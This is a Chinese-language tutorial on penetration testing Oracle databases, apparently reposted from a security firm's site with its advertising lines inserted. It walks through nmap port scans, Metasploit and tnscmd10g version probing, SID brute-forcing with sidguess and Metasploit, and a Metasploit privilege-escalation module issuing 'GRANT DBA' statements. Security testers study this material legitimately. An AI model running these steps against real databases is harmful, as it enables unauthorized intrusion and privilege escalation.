oracle数据库的渗透测试

一、数据库端口的安全扫描

 

首先检测数据库端口的的开放使用namp命令来对目标数据库IP进行端口扫描,命令

如下:nmap -Pn -n -T4 --open -p1521

二、数据库的版本相关信息

 

再来检查下数据库的版本信息,得到一个存活的oracle数据库服务端口,了解数据库的版本信息非
常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞,需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。Sine安全公司是一家专注于:
服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。

利用msf工具进行判断,使用如下模块来对数据库进行版本探测:

msf > use auxiliary/scanner/oracle/tnslsnr_version

使用tnscmd10g工具,命令如下:

tnscmd10g version -h

tnscmd10g status -h

通过以上两种方法,以及命令可以得到版本信息、日志文件、跟踪信息以及端口相关的安全渗透信息。

三、获取数据库的SID安全值

 

再来获取数据库的SID值,连接oracle数据库不仅仅需要账号密码,而且还需要SIDSID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:

使用sidguesssidguesskali下的一款爆破Oracle SID的工具,命令如下:

sidguess -i -d /home/myh0st/pass.txt

msf下有两个模块可以完成这个操作,命令如下:
 msf > use auxiliary/scanner/oracle/sid_enum
 msf > use auxiliary/admin/oracle/sid_brute

 如果oracle的版本为10g,默认通过8080端口,远程管理的可以访问以下路径:
 http://127.0.0.1:8080/oradb/PUBLIC/GLOBAL_NAME

 四、数据库提权
 

使用sql命令提权,在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:Sine安全公司是一家专注于:服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。

 msf > use auxiliary/admin/oracle/sql

   set DBUSER

   set DBPASS

   set SID

   set SQL select * from user_role_privs

 msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor

   set DBUSER

   set DBPASS

   set SID

   set SQL GRANT DBA TO

   set SQL GRANT JAVASYSPRIV TO

 查询数据库版本:

 select * from v$version;       

数据库打补丁情况:

 select * from dba_registry_history;

 查看所有用户:

 select * from all_users;

 查询数据库中的所有表:

 select owner,table_name from all_tables;

本文转载自-https://www.sinesafe.com/article/20171024/oracle.html

你可能感兴趣的:(oracle数据库的渗透测试)